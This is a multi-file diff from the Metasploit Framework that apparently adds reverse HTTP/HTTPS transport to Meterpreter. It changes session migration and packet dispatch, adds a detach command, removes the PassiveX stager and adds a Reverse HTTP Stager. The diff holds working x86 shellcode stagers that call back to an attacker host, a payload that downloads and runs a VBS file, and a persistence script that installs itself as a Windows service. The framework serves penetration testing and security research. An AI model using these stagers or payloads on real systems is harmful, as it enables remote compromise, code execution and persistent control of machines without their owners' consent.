@ -184,7 +184,7 @@ class ClientCore < Extension
# We cant migrate into a process that does not exist.
if( process == nil )
raise RuntimeError, "Cannot migrate into non existant process", caller
raise RuntimeError, "Cannot migrate into non existent process", caller
end
# We cant migrate into a process that we are unable to open
@ -216,13 +216,42 @@ class ClientCore < Extension
migrate_stager = c.new()
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
payload = migrate_stager.stage_payload
blob = migrate_stager.stage_payload
if client.passive_service
# Replace the transport string first (TRANSPORT_SOCKET_SSL
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
blob[i, str.length] = str
end
conn_id = self.client.conn_id
i = blob.index("https://" + ("X" * 256))
if i
str = self.client.url
blob[i, str.length] = str
end
i = blob.index([0xb64be661].pack("V"))
if i
str = [ self.client.expiration ].pack("V")
blob[i, str.length] = str
end
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ self.client.comm_timeout ].pack("V")
blob[i, str.length] = str
end
end
# Build the migration request
request = Packet.create_request( 'core_migrate' )
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, payload, false, client.capabilities[:zlib])
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
if( process['arch'] == ARCH_X86_64 )
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
else
@ -232,19 +261,28 @@ class ClientCore < Extension
# Send the migration request (bump up the timeout to 60 seconds)
response = client.send_request( request, 60 )
# Disable the socket request monitor
client.monitor_stop
if client.passive_service
# Sleep for 5 seconds to allow the full handoff, this prevents
# the original process from stealing our loadlib requests
::IO.select(nil, nil, nil, 5.0)
else
# Prevent new commands from being sent while we finish migrating
client.comm_mutex.synchronize do
# Disable the socket request monitor
client.monitor_stop
###
# Now communicating with the new process
###
###
# Now communicating with the new process
###
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
# Restart the socket monitor
client.monitor_socket
# Restart the socket monitor
client.monitor_socket
end
end
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
@ -268,6 +306,15 @@ class ClientCore < Extension
return true
end
#
# Shuts the session down
#
def shutdown
request = Packet.create_request('core_shutdown')
response = self.client.send_packet_wait_response(request, 15)
true
end
end
end; end; end

View File

@ -27,27 +27,27 @@ SEPARATOR = "\\"
Separator = "\\"
include Rex::Post::File
class << self
attr_accessor :client
end
#
# Search for files.
#
def File.search( root=nil, glob="*.*", recurse=true, timeout=-1 )
files = ::Array.new
request = Packet.create_request( 'stdapi_fs_search' )
root = root.chomp( '\\' ) if root
request.add_tlv( TLV_TYPE_SEARCH_ROOT, root )
request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob )
request.add_tlv( TLV_TYPE_SEARCH_RECURSE, recurse )
# we set the response timeout to -1 to wait indefinatly as a
# we set the response timeout to -1 to wait indefinatly as a
# search could take an indeterminate ammount of time to complete.
response = client.send_request( request, timeout )
if( response.result == 0 )
@ -59,10 +59,10 @@ Separator = "\\"
}
end
end
return files
end
#
# Returns the base name of the supplied file path to the caller.
#
@ -86,7 +86,7 @@ Separator = "\\"
request.add_tlv(TLV_TYPE_FILE_PATH, path)
response = client.send_request(request)
return response.get_tlv_value(TLV_TYPE_FILE_PATH)
end
@ -104,27 +104,27 @@ Separator = "\\"
r = client.fs.filestat.new(name) rescue nil
r ? true : false
end
#
# Performs a delete on the specified file.
#
def File.rm(name)
def File.rm(name)
request = Packet.create_request('stdapi_fs_delete_file')
request.add_tlv(TLV_TYPE_FILE_PATH,name)
response = client.send_request(request)
return response
end
#
# Performs a delete on the specified file.
#
def File.unlink(name)
return File.rm(name)
end
end
#
# Upload one or more files to the remote computer the remote
# directory supplied in destination.
@ -151,7 +151,7 @@ Separator = "\\"
# all of the contents of the local file
dest_fd = client.fs.file.new(dest_file, "wb")
src_buf = ''
::File.open(src_file, 'rb') { |f|
src_buf = f.read(f.stat.size)
}
@ -164,7 +164,7 @@ Separator = "\\"
end
#
# Download one or more files from the remote computer to the local
# Download one or more files from the remote computer to the local
# directory supplied in destination.
#
def File.download(destination, *src_files, &stat)
@ -178,7 +178,7 @@ Separator = "\\"
end
download_file(dest, src)
stat.call('downloaded', src, dest) if (stat)
}
end
@ -272,3 +272,4 @@ protected
end
end; end; end; end; end; end

View File

@ -29,9 +29,9 @@ class RequestError < ArgumentError
# The error result that occurred, typically a windows error message.
attr_reader :result
# The error result that occurred, typically a windows error code.
attr_reader :code
attr_reader :code
end
###
@ -44,6 +44,84 @@ module PacketDispatcher
PacketTimeout = 600
##
#
# Synchronization
#
##
attr_accessor :comm_mutex
##
#
#
# Passive Dispatching
#
##
attr_accessor :passive_service, :send_queue, :recv_queue
def initialize_passive_dispatcher
self.send_queue = []
self.recv_queue = []
self.waiters = []
self.alive = true
self.passive_service = self.passive_dispatcher
self.passive_service.remove_resource("/" + self.conn_id + "/")
self.passive_service.add_resource("/" + self.conn_id + "/",
'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) },
'VirtualDirectory' => true
)
end
def shutdown_passive_dispatcher
return if not self.passive_service
self.passive_service.remove_resource("/" + self.conn_id + "/")
self.alive = false
self.send_queue = []
self.recv_queue = []
self.waiters = []
self.passive_service = nil
end
def on_passive_request(cli, req)
begin
resp = Rex::Proto::Http::Response.new(200, "OK")
resp['Content-Type'] = 'application/octet-stream'
resp['Connection'] = 'close'
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
if req.body[0,4] == "RECV"
rpkt = send_queue.pop
resp.body = rpkt || ''
begin
cli.send_response(resp)
rescue ::Exception => e
send_queue.unshift(rpkt) if rpkt
elog("Exception sending a reply to the reader request: #{cli.inspect} #{e.class} #{e} #{e.backtrace}")
end
else
resp.body = ""
if req.body and req.body.length > 0
packet = Packet.new(0)
packet.from_r(req.body)
dispatch_inbound_packet(packet)
end
cli.send_response(resp)
end
# Force a closure for older WinInet implementations
self.passive_service.close_client( cli )
rescue ::Exception => e
elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}")
end
end
##
#
# Transmission
@ -62,23 +140,34 @@ module PacketDispatcher
raw = packet.to_r
err = nil
# Short-circuit send when using a passive dispatcher
if self.passive_service
send_queue.push(raw)
return raw.size # Lie!
end
if (raw)
begin
bytes = self.sock.write(raw)
rescue ::Exception => e
err = e
# This mutex is used to lock out new commands during an
# active migration.
self.comm_mutex.synchronize do
begin
bytes = self.sock.write(raw)
rescue ::Exception => e
err = e
end
end
if bytes.to_i == 0
# Mark the session itself as dead
self.alive = false
# Indicate that the dispatcher should shut down too
@finish = true
# Reraise the error to the top-level caller
raise err if err
raise err if err
end
end
@ -89,12 +178,12 @@ module PacketDispatcher
# Sends a packet and waits for a timeout for the given time interval.
#
def send_request(packet, t = self.response_timeout)
if not t
send_packet(packet)
return nil
end
response = send_packet_wait_response(packet, t)
if (response == nil)
@ -146,6 +235,12 @@ module PacketDispatcher
# thread context and parsers all inbound packets.
#
def monitor_socket
# Skip if we are using a passive dispatcher
return if self.passive_service
self.comm_mutex = ::Mutex.new
self.waiters = []
@pqueue = []
@ -303,6 +398,7 @@ module PacketDispatcher
self.receiver_thread.kill
self.receiver_thread = nil
end
if(self.dispatcher_thread)
self.dispatcher_thread.kill
self.dispatcher_thread = nil
@ -385,7 +481,6 @@ module PacketDispatcher
end
end
# Enumerate all of the inbound packet handlers until one handles
# the packet
@inbound_handlers.each { |handler|

View File

@ -43,6 +43,7 @@ class Console::CommandDispatcher::Core
"close" => "Closes a channel",
"channel" => "Displays information about active channels",
"exit" => "Terminate the meterpreter session",
"detach" => "Detach the meterpreter session (for http/https)",
"help" => "Help menu",
"interact" => "Interacts with a channel",
"irb" => "Drop into irb scripting mode",
@ -204,11 +205,26 @@ class Console::CommandDispatcher::Core
# Terminates the meterpreter session.
#
def cmd_exit(*args)
print_status("Shutting down Meterpreter...")
client.core.shutdown rescue nil
client.shutdown_passive_dispatcher
shell.stop
end
alias cmd_quit cmd_exit
#
# Disconnects the session
#
def cmd_detach(*args)
if not client.passive_service
print_error("Detach is only possible for non-stream sessions (http/https)")
return
end
client.shutdown_passive_dispatcher
shell.stop
end
#
# Interacts with a channel.
#
@ -385,11 +401,11 @@ class Console::CommandDispatcher::Core
def cmd_run_help
print_line "Usage: run <script> [arguments]"
print_line
print_line
print_line "Executes a ruby script or Metasploit Post module in the context of the"
print_line "meterpreter session. Post modules can take arguments in var=val format."
print_line "Example: run post/foo/bar BAZ=abcd"
print_line
print_line
end
#
@ -535,7 +551,7 @@ class Console::CommandDispatcher::Core
end
#
# Show info for a given Post module.
# Show info for a given Post module.
#
# See also +cmd_info+ in lib/msf/ui/console/command_dispatcher/core.rb
#
@ -546,10 +562,10 @@ class Console::CommandDispatcher::Core
cmd_info_help
return
end
module_name = args.shift
mod = client.framework.modules.create(module_name);
if mod.nil?
print_error 'Invalid module: ' << module_name
end
@ -655,7 +671,7 @@ class Console::CommandDispatcher::Core
tab_complete_filenames(str, words)
end
def cmd_resource(*args)
if args.empty?
print(

View File

@ -166,7 +166,7 @@ class Packet
# Converts the packet to a string.
#
def to_s
content = self.body.dup
content = self.body.to_s.dup
# Update the content length field in the header with the body length.
if (content)

View File

@ -18,9 +18,9 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows .vbs Download and execute',
'Name' => 'Windows Executable Download and Evaluate VBS',
'Version' => '$Revision$',
'Description' => 'Downloads a file from an HTTP(S) URL and executes it as a vbs script.
'Description' => 'Downloads a file from an HTTP(S) URL and executes it as a vbs script.
Use it to stage a vbs encoded payload from a short command line. ',
'Author' => 'scriptjunkie',
'License' => BSD_LICENSE,
@ -67,3 +67,4 @@ module Metasploit3
"&start #{vbsname}.vbs"
end
end

View File

@ -1,118 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/handler/passivex'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'PassiveX Reverse HTTP Tunneling Stager',
'Version' => '$Revision$',
'Description' => 'Tunnel communication over HTTP using IE 6',
'Author' => 'skape',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::PassiveX,
'Convention' => 'sockedi passivex',
'Stager' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 244, 'V' ],
},
'Payload' =>
"\xfc\xe8\x77\x00\x00\x00\x53\x6f\x66\x74\x77\x61\x72\x65\x5c\x4d" +
"\x69\x63\x72\x6f\x73\x6f\x66\x74\x5c\x57\x69\x6e\x64\x6f\x77\x73" +
"\x5c\x43\x75\x72\x72\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x5c" +
"\x49\x6e\x74\x65\x72\x6e\x65\x74\x20\x53\x65\x74\x74\x69\x6e\x67" +
"\x73\x5c\x5a\x6f\x6e\x65\x73\x5c\x33\x00\x31\x30\x30\x34\x31\x32" +
"\x30\x30\x31\x32\x30\x31\x31\x30\x30\x31\x43\x3a\x5c\x70\x72\x6f" +
"\x67\x72\x61\x7e\x31\x5c\x69\x6e\x74\x65\x72\x6e\x7e\x31\x5c\x69" +
"\x65\x78\x70\x6c\x6f\x72\x65\x20\x2d\x6e\x65\x77\x00\xe8\x4e\x00" +
"\x00\x00\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee" +
"\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b" +
"\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2\x08\x00" +
"\x5f\x5b\x31\xd2\x64\x8b\x42\x30\x85\xc0\x78\x0c\x8b\x40\x0c\x8b" +
"\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x83\xc0\x7c\x8b\x40" +
"\x3c\x89\xe5\x68\x7e\xd8\xe2\x73\x50\x68\x72\xfe\xb3\x16\x50\x68" +
"\x8e\x4e\x0e\xec\x50\xff\xd7\x96\xff\xd7\x89\x45\x00\xff\xd7\x89" +
"\x45\x04\x52\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\xff\xd6" +
"\x68\xa9\x2b\x92\x02\x50\x68\xdd\x9a\x1c\x2d\x50\xff\xd7\x89\x45" +
"\x08\xff\xd7\x97\x87\xf3\x54\x56\x68\x01\x00\x00\x80\xff\xd7\x5b" +
"\x83\xc6\x44\x50\x89\xe7\x80\x3e\x43\x74\x1b\x50\xad\x50\x89\xe0" +
"\x6a\x04\x57\x6a\x04\x6a\x00\x50\x53\xff\x55\x08\xeb\xe8\x8a\x0d" +
"\x30\x00\xfe\x7f\x88\x0e\x6a\x54\x59\x29\xcc\x89\xe7\x57\xf3\xaa" +
"\x5f\xc6\x07\x44\xfe\x47\x2c\xfe\x47\x2d\x68\x75\x6c\x74\x00\x68" +
"\x44\x65\x66\x61\x68\x74\x61\x30\x5c\x68\x57\x69\x6e\x53\x89\x67" +
"\x08\x8d\x5f\x44\x53\x57\x50\x50\x6a\x10\x50\x50\x50\x56\x50\xff" +
"\x55\x00\xff\x55\x04"
}
))
end
#
# Do not transmit the stage over the connection. We send the stage via an
# HTTP request.
#
def stage_over_connection?
false
end
def generate
# Generate the payload
p = super
# we must manually patch in the exit funk for this stager as it uses the old hash values
# which are generated using a different algorithm to that of the new hash values. We do this
# as this stager code has not been rewritten using the new api calling technique (see block_api.asm).
# set a default exitfunk if one is not set
datastore['EXITFUNC'] = 'thread' if not datastore['EXITFUNC']
# retrieve the offset/pack type for this stager's exitfunk
offset, pack = offsets['EXITFUNC']
# patch in the appropriate exit funk (using the old exit funk hashes).
p[offset, 4] = [ 0x5F048AF0 ].pack(pack || 'V') if datastore['EXITFUNC'] == 'seh'
p[offset, 4] = [ 0x60E0CEEF ].pack(pack || 'V') if datastore['EXITFUNC'] == 'thread'
p[offset, 4] = [ 0x73E2D87E ].pack(pack || 'V') if datastore['EXITFUNC'] == 'process'
# Construct the full URL that will be embedded in the payload. The uri
# attribute is derived from the value that will have been set by the
# passivex handler.
url = " http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI'] || '/'}"
# Get the find function offset
off = p[2, 4].unpack('V')[0]
# Update the offset to include the length of the URL
p[2, 4] = [ off + url.length ].pack('V')
# Adjust the true offset by five
off += 5
# Insert the URL into the payload
p = p[0, off] + url + p[off .. -1]
# Return the updated payload
return p
end
end

View File

@ -0,0 +1,92 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTP Stager',
'Version' => '$Revision$',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http',
'Stager' =>
{
'Offsets' =>
{
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
# 'EXITFUNC' => [ 290, 'V' ],
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
}
))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Generate the first stage
#
def generate
p = super
i = p.index("/12345\x00")
u = "/INITM\x00"
p[i, u.length] = u
p + datastore['LHOST'].to_s + "\x00"
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

View File

@ -52,11 +52,11 @@ module Metasploit3
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" +
"\x52\x68\x00\x32\xE0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x02\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x2E\x4B\x74\x24\x68\x80\x33" +
"\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF" +
"\xD5\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
"\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" +
"\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" +
"\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" +
"\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
"\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" +
"\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" +
"\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" +
@ -73,6 +73,16 @@ module Metasploit3
false
end
#
# Generate the first stage
#
def generate
p = super
i = p.index("/12345\x00")
u = "/INITM\x00"
p[i, u.length] = u
p + datastore['LHOST'].to_s + "\x00"
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
@ -80,62 +90,5 @@ module Metasploit3
def wfs_delay
20
end
#
# Generate the first stage
#
def generate
p = super
t = datastore['TARGETID'] || "ABCD"
i = p.index("/12345\x00")
u = "/A#{t}\x00"
raise ArgumentError, "TARGETID can be 4 bytes long at the most" if u.length > 7
p[i, u.length] = u
p + datastore['LHOST'].to_s + "\x00"
end
#
# Generate the second stage
#
def prestage_payload
stage =
# Length: 312 bytes
# Port Offset: 212
# HostName Offset: 248
# RetryCounter Offset: 206
# ExitFunk Offset: 237
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
"\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" +
"\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" +
"\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" +
"\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" +
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
"\x58\x58\x58\x58\x58\x58\x58\x00"
stage[212, 2] = [datastore['LPORT'].to_i].pack("n")
i = stage.index("X" * 63)
u = datastore['LHOST'].to_s + "\x00"
raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64
stage[i, u.length] = u
stage
end
end

View File

@ -114,7 +114,7 @@ def write_script_to_target(target_dir,vbs)
fd = @client.fs.file.new(tempvbs, "wb")
fd.write(vbs)
fd.close
print_good("Persisten Script written to #{tempvbs}")
print_good("Persistent Script written to #{tempvbs}")
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
return tempvbs
end
@ -171,7 +171,7 @@ def install_as_service(script_on_target)
service_create(nam, nam, "cscript \"#{script_on_target}\"")
file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
else
print_error("Insufficient privileges to create service")
print_error("Insufficient privileges to create service")
end
end
@ -234,3 +234,4 @@ end
if serv
install_as_service(script_on_target)
end